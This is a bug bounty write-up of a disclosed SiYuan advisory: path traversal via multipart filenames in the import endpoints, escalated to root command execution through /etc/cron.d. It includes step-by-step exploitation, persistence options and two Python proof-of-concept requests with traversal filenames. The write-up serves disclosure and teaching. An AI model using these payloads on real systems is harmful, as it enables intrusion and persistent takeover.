# SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

SiYuan importSY/importZipMd join the multipart filename into the temp write path unsanitized, letting an admin write arbitrary files and gain RCE via cron.d.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: fg0x0
- Disclosed: 2026-03-16
- CVE: CVE-2026-32749
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qvvf-q994-x79v
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qvvf-q994-x79v
- Tags: area:web domain:oss domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Go HTTP API import endpoints (POST /api/import/importSY, /api/import/importZipMd)
**Root cause:** filepath.Join(util.TempDir, "import", file.Filename) concatenates then cleans, so ../ sequences in the attacker-controlled multipart filename escape the base directory; importZipMd repeats this for unzipPath.
**Steps:**
1. Start SiYuan with an access auth code and obtain an admin API token.
2. Build a valid .sy notebook zip in memory.
3. POST to `/api/import/importSY` with `Authorization: Token <TOKEN>`, multipart field `file` named `../../data/TRAVERSAL_PROOF.zip`, and data `notebook=YOUR_NOTEBOOK_ID&toPath=/`.
4. Observe `{"code":0,"msg":"","data":null}` and the file written outside the temp dir.
5. For RCE, resend with filename `../../../../../etc/cron.d/siyuan_poc` and body `* * * * * root touch /tmp/RCE_CONFIRMED`.
**How found:** Code review of kernel/api/import.go: noticed filepath.Join with the raw multipart file.Filename, and that Clean runs after concatenation so ../ still escapes; also spotted the second traversal in the unzipPath built from the trimmed filename.
**Exploitation:** Requires an admin token. Attacker sends a raw multipart request (curl sanitizes ../ in filenames, so Python requests or a custom client is needed) whose filename traverses out of the temp import dir; the archive bytes are written verbatim to the target path. Writing to /etc/cron.d in a root container yields command execution as root; ~/.bashrc or authorized_keys give alternative persistence.
**Escalation:** Arbitrary file write escalated to RCE by targeting /etc/cron.d (root Docker containers), ~/.bashrc, or SSH authorized_keys; also enables data destruction by overwriting workspace/app files.
**Insight:** filepath.Join does not sandbox paths - Clean after concatenation still honors ../ in the last segment. Grep Go handlers for filepath.Join(base, userControlledName) and test with raw multipart clients since curl strips ../ from filenames.

## Proof of concept (copied exactly from the original report)

**Python request with traversal filename to importSY**

```
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
    data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
```

**RCE via cron.d traversal upload**

```
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
```

